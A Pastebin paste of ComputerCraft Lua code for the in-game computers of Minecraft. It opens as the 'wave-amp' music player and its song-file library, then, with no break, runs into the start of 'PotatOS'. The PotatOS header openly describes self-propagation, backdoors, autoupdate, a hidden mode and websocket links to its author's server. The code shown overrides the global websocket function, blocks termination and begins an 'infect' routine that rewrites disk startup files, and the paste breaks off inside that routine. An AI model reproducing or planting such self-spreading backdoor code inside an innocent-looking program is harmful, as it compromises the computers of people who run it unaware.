Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --[[
- wave-amp version 1.0.0
- The MIT License (MIT)
- Copyright (c) 2016 CrazedProgrammer
- Permission is hereby granted, free of charge, to any person obtaining a copy of this software and
- associated documentation files (the "Software"), to deal in the Software without restriction,
- including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense,
- and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do
- so, subject to the following conditions:
- The above copyright notice and this permission notice shall be included in all copies or
- substantial portions of the Software.
- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
- INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
- PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
- COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN
- AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
- WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
- ]]
- --[[
- wave version 0.1.4
- The MIT License (MIT)
- Copyright (c) 2016 CrazedProgrammer
- Permission is hereby granted, free of charge, to any person obtaining a copy of this software and
- associated documentation files (the "Software"), to deal in the Software without restriction,
- including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense,
- and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do
- so, subject to the following conditions:
- The above copyright notice and this permission notice shall be included in all copies or
- substantial portions of the Software.
- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
- INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
- PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
- COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN
- AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
- WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
- ]]
- local wave = { }
- wave.version = "0.1.4"
- wave._oldSoundMap = {"harp", "bassattack", "bd", "snare", "hat"}
- wave._newSoundMap = {"harp", "bass", "basedrum", "snare", "hat"}
- wave._defaultThrottle = 99
- wave._defaultClipMode = 1
- wave._maxInterval = 1
- wave._isNewSystem = false
- if _HOST then
- wave._isNewSystem = _HOST:sub(15, #_HOST) >= "1.80"
- end
- wave.context = { }
- wave.output = { }
- wave.track = { }
- wave.instance = { }
- function wave.createContext(clock, volume)
- clock = clock or os.clock()
- volume = volume or 1.0
- local context = setmetatable({ }, {__index = wave.context})
- context.outputs = { }
- context.instances = { }
- context.vs = {0, 0, 0, 0, 0}
- context.prevClock = clock
- context.volume = volume
- return context
- end
- function wave.context:addOutput(...)
- local output = wave.createOutput(...)
- self.outputs[#self.outputs + 1] = output
- return output
- end
- function wave.context:addOutputs(...)
- local outs = {...}
- if #outs == 1 then
- if not getmetatable(outs) then
- outs = outs[1]
- else
- if getmetatable(outs).__index ~= wave.outputs then
- outs = outs[1]
- end
- end
- end
- for i = 1, #outs do
- self:addOutput(outs[i])
- end
- end
- function wave.context:removeOutput(out)
- if type(out) == "number" then
- table.remove(self.outputs, out)
- return
- elseif type(out) == "table" then
- if getmetatable(out).__index == wave.output then
- for i = 1, #self.outputs do
- if out == self.outputs[i] then
- table.remove(self.outputs, i)
- return
- end
- end
- return
- end
- end
- for i = 1, #self.outputs do
- if out == self.outputs[i].native then
- table.remove(self.outputs, i)
- return
- end
- end
- end
- function wave.context:addInstance(...)
- local instance = wave.createInstance(...)
- self.instances[#self.instances + 1] = instance
- return instance
- end
- function wave.context:removeInstance(instance)
- if type(instance) == "number" then
- table.remove(self.instances, instance)
- else
- for i = 1, #self.instances do
- if self.instances == instance then
- table.remove(self.instances, i)
- return
- end
- end
- end
- end
- function wave.context:playNote(note, pitch, volume)
- volume = volume or 1.0
- self.vs[note] = self.vs[note] + volume
- for i = 1, #self.outputs do
- self.outputs[i]:playNote(note, pitch, volume * self.volume)
- end
- end
- function wave.context:update(interval)
- local clock = os.clock()
- interval = interval or (clock - self.prevClock)
- self.prevClock = clock
- if interval > wave._maxInterval then
- interval = wave._maxInterval
- end
- for i = 1, #self.outputs do
- self.outputs[i].notes = 0
- end
- for i = 1, 5 do
- self.vs[i] = 0
- end
- if interval > 0 then
- for i = 1, #self.instances do
- local notes = self.instances[i]:update(interval)
- for j = 1, #notes / 3 do
- self:playNote(notes[j * 3 - 2], notes[j * 3 - 1], notes[j * 3])
- end
- end
- end
- end
- function wave.createOutput(out, volume, filter, throttle, clipMode)
- volume = volume or 1.0
- filter = filter or {true, true, true, true, true}
- throttle = throttle or wave._defaultThrottle
- clipMode = clipMode or wave._defaultClipMode
- local output = setmetatable({ }, {__index = wave.output})
- output.native = out
- output.volume = volume
- output.filter = filter
- output.notes = 0
- output.throttle = throttle
- output.clipMode = clipMode
- if type(out) == "function" then
- output.nativePlayNote = out
- output.type = "custom"
- return output
- elseif type(out) == "string" then
- if peripheral.getType(out) == "iron_noteblock" then
- if wave._isNewSystem then
- local nb = peripheral.wrap(out)
- output.type = "iron_noteblock"
- function output.nativePlayNote(note, pitch, volume)
- if output.volume * volume > 0 then
- nb.playSound("minecraft:block.note."..wave._newSoundMap[note], volume, math.pow(2, (pitch - 12) / 12))
- end
- end
- return output
- end
- end
- elseif type(out) == "table" then
- if out.execAsync then
- output.type = "commands"
- if wave._isNewSystem then
- function output.nativePlayNote(note, pitch, volume)
- out.execAsync("playsound minecraft:block.note."..wave._newSoundMap[note].." record @a ~ ~ ~ "..tostring(volume).." "..tostring(math.pow(2, (pitch - 12) / 12)))
- end
- else
- function output.nativePlayNote(note, pitch, volume)
- out.execAsync("playsound note."..wave._oldSoundMap[note].." @a ~ ~ ~ "..tostring(volume).." "..tostring(math.pow(2, (pitch - 12) / 12)))
- end
- end
- return output
- elseif getmetatable(out) then
- if getmetatable(out).__index == wave.output then
- return out
- end
- end
- end
- end
- function wave.scanOutputs()
- local outs = { }
- if commands then
- outs[#outs + 1] = wave.createOutput(commands)
- end
- local sides = peripheral.getNames()
- for i = 1, #sides do
- if peripheral.getType(sides[i]) == "iron_noteblock" then
- outs[#outs + 1] = wave.createOutput(sides[i])
- end
- end
- return outs
- end
- function wave.output:playNote(note, pitch, volume)
- volume = volume or 1.0
- if self.clipMode == 1 then
- if pitch < 0 then
- pitch = 0
- elseif pitch > 24 then
- pitch = 24
- end
- elseif self.clipMode == 2 then
- if pitch < 0 then
- while pitch < 0 do
- pitch = pitch + 12
- end
- elseif pitch > 24 then
- while pitch > 24 do
- pitch = pitch - 12
- end
- end
- end
- if self.filter[note] and self.notes < self.throttle then
- self.nativePlayNote(note, pitch, volume * self.volume)
- self.notes = self.notes + 1
- end
- end
- function wave.loadTrack(path)
- local track = setmetatable({ }, {__index = wave.track})
- local handle = fs.open(path, "rb")
- if not handle then return end
- local function readInt(size)
- local num = 0
- for i = 0, size - 1 do
- local byte = handle.read()
- if not byte then -- dont leave open file handles no matter what
- handle.close()
- return
- end
- num = num + byte * (256 ^ i)
- end
- return num
- end
- local function readStr()
- local length = readInt(4)
- if not length then return end
- local data = { }
- for i = 1, length do
- data[i] = string.char(handle.read())
- end
- return table.concat(data)
- end
- -- Part #1: Metadata
- track.length = readInt(2) -- song length (ticks)
- track.height = readInt(2) -- song height
- track.name = readStr() -- song name
- track.author = readStr() -- song author
- track.originalAuthor = readStr() -- original song author
- track.description = readStr() -- song description
- track.tempo = readInt(2) / 100 -- tempo (ticks per second)
- track.autoSaving = readInt(1) == 0 and true or false -- auto-saving
- track.autoSavingDuration = readInt(1) -- auto-saving duration
- track.timeSignature = readInt(1) -- time signature (3 = 3/4)
- track.minutesSpent = readInt(4) -- minutes spent
- track.leftClicks = readInt(4) -- left clicks
- track.rightClicks = readInt(4) -- right clicks
- track.blocksAdded = readInt(4) -- blocks added
- track.blocksRemoved = readInt(4) -- blocks removed
- track.schematicFileName = readStr() -- midi/schematic file name
- -- Part #2: Notes
- track.layers = { }
- for i = 1, track.height do
- track.layers[i] = {name = "Layer "..i, volume = 1.0}
- track.layers[i].notes = { }
- end
- local tick = 0
- while true do
- local tickJumps = readInt(2)
- if tickJumps == 0 then break end
- tick = tick + tickJumps
- local layer = 0
- while true do
- local layerJumps = readInt(2)
- if layerJumps == 0 then break end
- layer = layer + layerJumps
- if layer > track.height then -- nbs can be buggy
- for i = track.height + 1, layer do
- track.layers[i] = {name = "Layer "..i, volume = 1.0}
- track.layers[i].notes = { }
- end
- track.height = layer
- end
- local instrument = readInt(1)
- local key = readInt(1)
- if instrument <= 4 then -- nbs can be buggy
- track.layers[layer].notes[tick * 2 - 1] = instrument + 1
- track.layers[layer].notes[tick * 2] = key - 33
- end
- end
- end
- -- Part #3: Layers
- for i = 1, track.height do
- local name = readStr()
- if not name then break end -- if layer data doesnt exist, abort
- track.layers[i].name = name
- track.layers[i].volume = readInt(1) / 100
- end
- handle.close()
- return track
- end
- function wave.createInstance(track, volume, playing, loop)
- volume = volume or 1.0
- playing = (playing == nil) or playing
- loop = (loop ~= nil) and loop
- if getmetatable(track).__index == wave.instance then
- return track
- end
- local instance = setmetatable({ }, {__index = wave.instance})
- instance.track = track
- instance.volume = volume or 1.0
- instance.playing = playing
- instance.loop = loop
- instance.tick = 1
- return instance
- end
- function wave.instance:update(interval)
- local notes = { }
- if self.playing then
- local dticks = interval * self.track.tempo
- local starttick = self.tick
- local endtick = starttick + dticks
- local istarttick = math.ceil(starttick)
- local iendtick = math.ceil(endtick) - 1
- for i = istarttick, iendtick do
- for j = 1, self.track.height do
- if self.track.layers[j].notes[i * 2 - 1] then
- notes[#notes + 1] = self.track.layers[j].notes[i * 2 - 1]
- notes[#notes + 1] = self.track.layers[j].notes[i * 2]
- notes[#notes + 1] = self.track.layers[j].volume
- end
- end
- end
- self.tick = self.tick + dticks
- if endtick > self.track.length then
- self.tick = 1
- self.playing = self.loop
- end
- end
- return notes
- end
- local cmdHelp = [[
- -l lists all outputs connected to the computer.
- -c <config file> loads the parameters from a file.
- parameters are separated by newlines.
- -t <theme file> loads the theme from a file.
- -f <filter[:second]> sets the note filter for the outputs.
- examples:
- -f 10111 sets the filter for all outputs to remove the bass instrument.
- -f 10011:01100 sets the filter so the bass and basedrum instruments only come out of the second output
- -v <volume[:second]> sets the volume for the outputs.
- --nrm --stp --rep --shf sets the play mode.
- --noui --noinput disables the ui/keyboard input]]
- local trackMode = 1
- -- 1 = normal (go to next song on finish)
- -- 2 = stop (stop on finish)
- -- 3 = repeat (restart song on finish)
- -- 4 = shuffle (go to random song on finish)
- local files = { }
- local tracks = { }
- local context, track, instance
- -- ui stuff
- local noUI = false
- local noInput = false
- local screenWidth, screenHeight = term.getSize()
- local trackScroll = 0
- local currentTrack = 1
- local vsEasings = {0, 0, 0, 0, 0}
- local vsStep = 5
- local vsDecline = 0.25
- -- theme
- local theme = term.isColor() and
- {
- topBar = colors.lime,
- topBarTitle = colors.white,
- topBarOption = colors.white,
- topBarOptionSelected = colors.lightGray,
- topBarClose = colors.white,
- song = colors.black,
- songBackground = colors.white,
- songSelected = colors.black,
- songSelectedBackground = colors.lightGray,
- scrollBackground = colors.lightGray,
- scrollBar = colors.gray,
- scrollButton = colors.black,
- visualiserBar = colors.lime,
- visualiserBackground = colors.green,
- progressTime = colors.white,
- progressBackground = colors.lightGray,
- progressLine = colors.gray,
- progressNub = colors.gray,
- progressNubBackground = colors.gray,
- progressNubChar = "=",
- progressButton = colors.white
- }
- or
- {
- topBar = colors.lightGray,
- topBarTitle = colors.white,
- topBarOption = colors.white,
- topBarOptionSelected = colors.gray,
- topBarClose = colors.white,
- song = colors.black,
- songBackground = colors.white,
- songSelected = colors.black,
- songSelectedBackground = colors.lightGray,
- scrollBackground = colors.lightGray,
- scrollBar = colors.gray,
- scrollButton = colors.black,
- visualiserBar = colors.black,
- visualiserBackground = colors.gray,
- progressTime = colors.white,
- progressBackground = colors.lightGray,
- progressLine = colors.gray,
- progressNub = colors.gray,
- progressNubBackground = colors.gray,
- progressNubChar = "=",
- progressButton = colors.white
- }
- local running = true
- local function addFiles(path)
- local dirstack = {path}
- while #dirstack > 0 do
- local dir = dirstack[1]
- table.remove(dirstack, 1)
- if dir ~= "rom" then
- for _, v in pairs(fs.list(dir)) do
- local path = (dir == "") and v or dir.."/"..v
- if fs.isDir(path) then
- dirstack[#dirstack + 1] = path
- elseif path:sub(#path - 3, #path) == ".nbs" then
- files[#files + 1] = path
- end
- end
- end
- end
- end
- local function init(args)
- local volumes = { }
- local filters = { }
- local outputs = wave.scanOutputs()
- local timestamp = 0
- if #outputs == 0 then
- error("no outputs found")
- end
- local i, argtype = 1
- while i <= #args do
- if not argtype then
- if args[i] == "-h" then
- print(cmdHelp)
- noUI = true
- running = false
- return
- elseif args[i] == "-c" or args[i] == "-v" or args[i] == "-f" or args[i] == "-t" then
- argtype = args[i]
- elseif args[i] == "-l" then
- print(#outputs.." outputs detected:")
- for i = 1, #outputs do
- print(i..":", outputs[i].type, type(outputs[i].native) == "string" and outputs[i].native or "")
- end
- noUI = true
- running = false
- return
- elseif args[i] == "--noui" then
- noUI = true
- elseif args[i] == "--noinput" then
- noInput = true
- elseif args[i] == "--nrm" then
- trackMode = 1
- elseif args[i] == "--stp" then
- trackMode = 2
- elseif args[i] == "--rep" then
- trackMode = 3
- elseif args[i] == "--shf" then
- trackMode = 4
- else
- local path = shell.resolve(args[i])
- if fs.isDir(path) then
- addFiles(path)
- elseif fs.exists(path) then
- files[#files + 1] = path
- end
- end
- else
- if argtype == "-c" then
- local path = shell.resolve(args[i])
- local handle = fs.open(path, "r")
- if not handle then
- error("config file does not exist: "..path)
- end
- local line = handle.readLine()
- while line do
- args[#args + 1] = line
- line = handle.readLine()
- end
- handle.close()
- elseif argtype == "-t" then
- local path = shell.resolve(args[i])
- local handle = fs.open(path, "r")
- if not handle then
- error("theme file does not exist: "..path)
- end
- local data = handle.readAll()
- handle.close()
- for k, v in pairs(colors) do
- data = data:gsub("colors."..k, tostring(v))
- end
- for k, v in pairs(colours) do
- data = data:gsub("colours."..k, tostring(v))
- end
- local newtheme = textutils.unserialize(data)
- for k, v in pairs(newtheme) do
- theme[k] = v
- end
- elseif argtype == "-v" then
- for str in args[i]:gmatch("([^:]+)") do
- local vol = tonumber(str)
- if vol then
- if vol >= 0 and vol <= 1 then
- volumes[#volumes + 1] = vol
- else
- error("invalid volume value: "..str)
- end
- else
- error("invalid volume value: "..str)
- end
- end
- elseif argtype == "-f" then
- for str in args[i]:gmatch("([^:]+)") do
- if #str == 5 then
- local filter = { }
- for i = 1, 5 do
- if str:sub(i, i) == "1" then
- filter[i] = true
- elseif str:sub(i, i) == "0" then
- filter[i] = false
- else
- error("invalid filter value: "..str)
- end
- end
- filters[#filters + 1] = filter
- else
- error("invalid filter value: "..str)
- end
- end
- end
- argtype = nil
- end
- i = i + 1
- end
- if #files == 0 then
- addFiles("")
- end
- i = 1
- print("loading tracks...")
- while i <= #files do
- local track
- pcall(function () track = wave.loadTrack(files[i]) end)
- if not track then
- print("failed to load "..files[i])
- os.sleep(0.2)
- table.remove(files, i)
- else
- tracks[i] = track
- print("loaded "..files[i])
- i = i + 1
- end
- if i % 10 == 0 then
- os.sleep(0)
- end
- end
- if #files == 0 then
- error("no tracks found")
- end
- if #volumes == 0 then
- volumes[1] = 1
- end
- if #filters == 0 then
- filters[1] = {true, true, true, true, true}
- end
- if #volumes == 1 then
- for i = 2, #outputs do
- volumes[i] = volumes[1]
- end
- end
- if #filters == 1 then
- for i = 2, #outputs do
- filters[i] = filters[1]
- end
- end
- if #volumes ~= #outputs then
- error("invalid amount of volume values: "..#volumes.." (must be 1 or "..#outputs..")")
- end
- if #filters ~= #outputs then
- error("invalid amount of filter values: "..#filters.." (must be 1 or "..#outputs..")")
- end
- for i = 1, #outputs do
- outputs[i].volume = volumes[i]
- outputs[i].filter = filters[i]
- end
- context = wave.createContext()
- context:addOutputs(outputs)
- end
- local function formatTime(secs)
- local mins = math.floor(secs / 60)
- secs = secs - mins * 60
- return string.format("%01d:%02d", mins, secs)
- end
- local function drawStatic()
- if noUI then return end
- term.setCursorPos(1, 1)
- term.setBackgroundColor(theme.topBar)
- term.setTextColor(theme.topBarTitle)
- term.write("wave-amp")
- term.write((" "):rep(screenWidth - 25))
- term.setTextColor(trackMode == 1 and theme.topBarOptionSelected or theme.topBarOption)
- term.write("nrm ")
- term.setTextColor(trackMode == 2 and theme.topBarOptionSelected or theme.topBarOption)
- term.write("stp ")
- term.setTextColor(trackMode == 3 and theme.topBarOptionSelected or theme.topBarOption)
- term.write("rep ")
- term.setTextColor(trackMode == 4 and theme.topBarOptionSelected or theme.topBarOption)
- term.write("shf ")
- term.setTextColor(theme.topBarClose)
- term.write("X")
- local scrollnub = math.floor(trackScroll / (#tracks - screenHeight + 7) * (screenHeight - 10) + 0.5)
- term.setTextColor(theme.song)
- term.setBackgroundColor(theme.songBackground)
- for i = 1, screenHeight - 7 do
- local index = i + trackScroll
- term.setCursorPos(1, i + 1)
- term.setTextColor(index == currentTrack and theme.songSelected or theme.song)
- term.setBackgroundColor(index == currentTrack and theme.songSelectedBackground or theme.songBackground)
- local str = ""
- if tracks[index] then
- local track = tracks[index]
- str = formatTime(track.length / track.tempo).." "
- if #track.name > 0 then
- str = str..(#track.originalAuthor == 0 and track.author or track.originalAuthor).." - "..track.name
- else
- local name = fs.getName(files[index])
- str = str..name:sub(1, #name - 4)
- end
- end
- if #str > screenWidth - 1 then
- str = str:sub(1, screenWidth - 3)..".."
- end
- term.write(str)
- term.write((" "):rep(screenWidth - 1 - #str))
- term.setBackgroundColor((i >= scrollnub + 1 and i <= scrollnub + 3) and theme.scrollBar or theme.scrollBackground)
- if i == 1 then
- term.setTextColor(theme.scrollButton)
- term.write(_HOST and "\30" or "^")
- elseif i == screenHeight - 7 then
- term.setTextColor(theme.scrollButton)
- term.write(_HOST and "\31" or "v")
- else
- term.write(" ")
- end
- end
- end
- local function drawDynamic()
- if noUI then return end
- for i = 1, 5 do
- vsEasings[i] = vsEasings[i] - vsDecline
- if vsEasings[i] < 0 then
- vsEasings[i] = 0
- end
- local part = context.vs[i] > vsStep and vsStep or context.vs[i]
- if vsEasings[i] < part then
- vsEasings[i] = part
- end
- local full = math.floor(part / vsStep * screenWidth + 0.5)
- local easing = math.floor(vsEasings[i] / vsStep * screenWidth + 0.5)
- term.setCursorPos(1, screenHeight - 6 + i)
- term.setBackgroundColor(theme.visualiserBar)
- term.setTextColor(theme.visualiserBackground)
- term.write((" "):rep(full))
- term.write((_HOST and "\127" or "#"):rep(math.floor((easing - full) / 2)))
- term.setBackgroundColor(theme.visualiserBackground)
- term.setTextColor(theme.visualiserBar)
- term.write((_HOST and "\127" or "#"):rep(math.ceil((easing - full) / 2)))
- term.write((" "):rep(screenWidth - easing))
- end
- local progressnub = math.floor((instance.tick / track.length) * (screenWidth - 14) + 0.5)
- term.setCursorPos(1, screenHeight)
- term.setTextColor(theme.progressTime)
- term.setBackgroundColor(theme.progressBackground)
- term.write(formatTime(instance.tick / track.tempo))
- term.setTextColor(theme.progressLine)
- term.write("\136")
- term.write(("\140"):rep(progressnub))
- term.setTextColor(theme.progressNub)
- term.setBackgroundColor(theme.progressNubBackground)
- term.write(theme.progressNubChar)
- term.setTextColor(theme.progressLine)
- term.setBackgroundColor(theme.progressBackground)
- term.write(("\140"):rep(screenWidth - 14 - progressnub))
- term.write("\132")
- term.setTextColor(theme.progressTime)
- term.write(formatTime(track.length / track.tempo).." ")
- term.setTextColor(theme.progressButton)
- term.write(instance.playing and (_HOST and "|\016" or "|>") or "||")
- end
- local function playSong(index)
- if index >= 1 and index <= #tracks then
- currentTrack = index
- track = tracks[currentTrack]
- context:removeInstance(1)
- instance = context:addInstance(track, 1, trackMode ~= 2, trackMode == 3)
- if currentTrack <= trackScroll then
- trackScroll = currentTrack - 1
- end
- if currentTrack > trackScroll + screenHeight - 7 then
- trackScroll = currentTrack - screenHeight + 7
- end
- drawStatic()
- end
- end
- local function nextSong()
- if trackMode == 1 then
- playSong(currentTrack + 1)
- elseif trackMode == 4 then
- playSong(math.random(#tracks))
- end
- end
- local function setScroll(scroll)
- trackScroll = scroll
- if trackScroll > #tracks - screenHeight + 7 then
- trackScroll = #tracks - screenHeight + 7
- end
- if trackScroll < 0 then
- trackScroll = 0
- end
- drawStatic()
- end
- local function handleClick(x, y)
- if noUI then return end
- if y == 1 then
- if x == screenWidth then
- running = false
- elseif x >= screenWidth - 16 and x <= screenWidth - 2 and (x - screenWidth + 1) % 4 ~= 0 then
- trackMode = math.floor((x - screenWidth + 16) / 4) + 1
- instance.loop = trackMode == 3
- drawStatic()
- end
- elseif x < screenWidth and y >= 2 and y <= screenHeight - 6 then
- playSong(y - 1 + trackScroll)
- elseif x == screenWidth and y == 2 then
- setScroll(trackScroll - 2)
- elseif x == screenWidth and y == screenHeight - 6 then
- setScroll(trackScroll + 2)
- elseif x == screenWidth and y >= 3 and y <= screenHeight - 7 then
- setScroll(math.floor((y - 3) / (screenHeight - 10) * (#tracks - screenHeight + 7 ) + 0.5))
- elseif y == screenHeight then
- if x >= screenWidth - 1 and x <= screenWidth then
- instance.playing = not instance.playing
- elseif x >= 6 and x <= screenWidth - 8 then
- instance.tick = ((x - 6) / (screenWidth - 14)) * track.length
- end
- end
- end
- local function handleScroll(x, y, scroll)
- if noUI then return end
- if y >= 2 and y <= screenHeight - 6 then
- setScroll(trackScroll + scroll * 2)
- end
- end
- local function handleKey(key)
- if noInput then return end
- if key == keys.space then
- instance.playing = not instance.playing
- elseif key == keys.n then
- nextSong()
- elseif key == keys.p then
- playSong(currentTrack - 1)
- elseif key == keys.m then
- context.volume = (context.volume == 0) and 1 or 0
- elseif key == keys.left then
- instance.tick = instance.tick - track.tempo * 10
- if instance.tick < 1 then
- instance.tick = 1
- end
- elseif key == keys.right then
- instance.tick = instance.tick + track.tempo * 10
- elseif key == keys.up then
- context.volume = (context.volume == 1) and 1 or context.volume + 0.1
- elseif key == keys.down then
- context.volume = (context.volume == 0) and 0 or context.volume - 0.1
- elseif key == keys.j then
- setScroll(trackScroll + 2)
- elseif key == keys.k then
- setScroll(trackScroll - 2)
- elseif key == keys.pageUp then
- setScroll(trackScroll - 5)
- elseif key == keys.pageDown then
- setScroll(trackScroll + 5)
- elseif key == keys.leftShift then
- trackMode = trackMode % 4 + 1
- drawStatic()
- elseif key == keys.backspace then
- running = false
- end
- end
- local function run()
- playSong(1)
- drawStatic()
- drawDynamic()
- local timer = os.startTimer(0.05)
- while running do
- local e = {os.pullEventRaw()}
- if e[1] == "timer" and e[2] == timer then
- timer = os.startTimer(0)
- local prevtick = instance.tick
- context:update()
- if prevtick > 1 and instance.tick == 1 then
- nextSong()
- end
- drawDynamic()
- elseif e[1] == "terminate" then
- running = false
- elseif e[1] == "term_resize" then
- screenWidth, screenHeight = term.getSize()
- elseif e[1] == "mouse_click" then
- handleClick(e[3], e[4])
- elseif e[1] == "mouse_scroll" then
- handleScroll(e[3], e[4], e[2])
- elseif e[1] == "key" then
- handleKey(e[2])
- end
- end
- end
- local function exit()
- if noUI then return end
- term.setBackgroundColor(colors.black)
- term.setTextColor(colors.white)
- term.setCursorPos(1, 1)
- term.clear()
- end
- --[[
- PotatOS OS/Conveniently Self-Propagating System/Sandbox/Compilation of Useless Programs
- We are not responsible for
- - headaches
- - rashes
- - persistent/non-persistent coughs
- - scalp psoriasis
- - seborrhoeic dermatitis
- - virii/viros/virorum/viriis
- - backdoors
- - lack of backdoors
- - actually writing documentation
- - this project's horrible code
- - spinal cord sclerosis
- - hypertension
- - cardiac arrest
- - regular arrest, by police or whatever
- - angry mobs with or without pitchforks
- - fourteenth plane politics
- - Nvidia's Linux drivers
- - death
- - catsplosions
- - unicorn instability
- - the Problem of Evil
- - computronic discombobulation
- - loss of data
- - gain of data
- - frogs
- or any other issue caused directly or indirectly due to use of this product.
- Best viewed in Internet Explorer 6.00000000000004 running on a Difference Engine emulated under MacOS 7 on a Pentium 3.
- Features:
- - Fortunes/Dwarf Fortress output/Chuck Norris jokes on boot (wait, IS this a feature?)
- - (other) viruses (how do you get them in the first place? running random files like this?) cannot do anything particularly awful to your computer - uninterceptable (except by crashing the keyboard shortcut daemon, I guess) keyboard shortcuts allow easy wiping of the non-potatOS data so you can get back to whatever nonsense you do fast
- - Skynet (rednet-ish stuff over websocket to my server) and Lolcrypt (encoding data as lols and punctuation) built in for easy access!
- - Convenient OS-y APIs - add keyboard shortcuts, spawn background processes & do "multithreading"-ish stuff.
- - Great features for other idio- OS designers, like passwords and fake loading (est potatOS.stupidity.loading [time], est potatOS.stupidity.password [password]).
- - Digits of Tau available via a convenient command ("tau")
- - Potatoplex and Loading built in ("potatoplex"/"loading") (potatoplex has many undocumented options)!
- - Stack traces (yes, I did steal them from MBS)
- - Backdoors- er, remote debugging access (it's secured, via ECC signing on disks and websocket-only access requiring a key for the other one)
- - All this useless random junk can autoupdate (this is probably a backdoor)!
- - EZCopy allows you to easily install potatOS on another device, just by sticking it in the disk drive of any potatOS device!
- - fs.load and fs.dump - probably helpful somehow.
- - Blocks bad programs (like the "Webicity" browser).
- - Fully-featured process manager.
- - Can run in "hidden mode" where it's at least not obvious at a glance that potatOS is installed.
- - Convenient, simple uninstall with the "uninstall" command.
- - Turns on any networked potatOS computers!
- - Edits connected signs to use as ad displays.
- - A recycle bin.
- - An exorcise command, which is like delete but better.
- - Support for a wide variety of Lorem Ipsum.
- Copyright 2019 osmarks/gollark
- Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
- The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
- I also request that you inform me of software based on or using code from potatOS, though this is not required.
- This license also extends to other PotatOS components or bundled software owned by me.
- ]]
- local randomseed = math.random(-0xdead, 0xc0de)
- local version = "TuberOS"
- term.clear()
- term.setCursorBlink(false)
- -- Utility functions and stuff
- -- Because we're COOL PEOPLE who open LOTS OF WEBSOCKETS, and don't want them to conflict, globally meddle with it for no good reason.
- local httpwebsocket = http.websocket
- local socket_cache = {}
- function http.websocket(URL)
- if socket_cache[URL] then return socket_cache[URL]
- else
- socket_cache[URL] = httpwebsocket(URL)
- return socket_cache[URL]
- end
- end
- -- Squid has told me of `debug.getregistry`, so I decided to implement it.
- local debug_registry_mt = {}
- local debug_registry = setmetatable({}, debug_registry_mt)
- if debug then
- function debug.getregistry()
- return debug_registry
- end
- end
- -- Converts a hex-format signature to a nonhex one
- local function unhexize(key)
- local out = {}
- for i = 1, #key, 2 do
- local pair = key:sub(i, i + 1)
- table.insert(out, tonumber(pair, 16))
- end
- return out
- end
- -- Checks if a number is prime. You would never guess it did that. You should thank me for being so helpful.
- function _G.isprime(n)
- for i = 2, math.sqrt(n) do
- if n % i == 0 then return false end
- end
- return true
- end
- -- Finds the first prime number after "from". Look at that really complex code.
- function _G.findprime(from)
- local i = from
- while true do
- if isprime(i) then return i end
- i = i + 1
- end
- end
- -- Copies a table. Deals with recursive tables by just copying the reference, which is possibly a bad idea. It's probably your own fault if you give it one.
- local function copy(tabl)
- local new = {}
- for k, v in pairs(tabl) do
- if type(v) == "table" and v ~= tabl then
- new[k] = copy(v)
- else
- new[k] = v
- end
- end
- return new
- end
- -- Generates "len" random bytes (why no unicode, dan200?!)
- local function randbytes(len)
- local out = ""
- for i = 1, len do
- out = out .. string.char(math.random(0, 255))
- end
- return out
- end
- -- Write "c" to file "n"
- local function fwrite(n, c)
- local f = fs.open(n, "w")
- f.write(c)
- f.close()
- end
- -- Read file "n"
- local function fread(n)
- local f = fs.open(n, "r")
- local out = f.readAll()
- f.close()
- return out
- end
- -- Set key in .settings
- local function set(k, v)
- settings.set(k, v)
- settings.save(".settings")
- end
- -- Copy the out-of-sandbox environment, for some reason. No, I don't know why _ENV or _G directly wouldn't work. I can't ask my past self.
- local external_env = copy(_G)
- if not external_env.shell then external_env.shell = shell end
- -- Block termination. Maybe?!
- external_env.os.pullEvent = external_env.os.pullEventRaw
- -- Checks that "sig" is a valid signature for "data" (i.e. signed with the potatOS master key). Used for disk and formerly tape verification.
- local function verify(data, sig)
- local pkey = textutils.unserialise(fread ".pkey")
- local ecc = require "./ecc"
- local e = ecc "ecc"
- local ok, res = pcall(e.verify, pkey, data, sig)
- print("ERR:", not ok, "\nRES:", res)
- return ok and res
- end
- -- Infect other disks and/or load backdoor programs off them.
- local function infect(disk_side)
- local mp = disk.getMountPath(disk_side)
- if not mp then return end
- local ds = fs.combine(mp, "startup") -- Find paths to startup and signature files
- local disk_ID = disk.getID(disk_side)
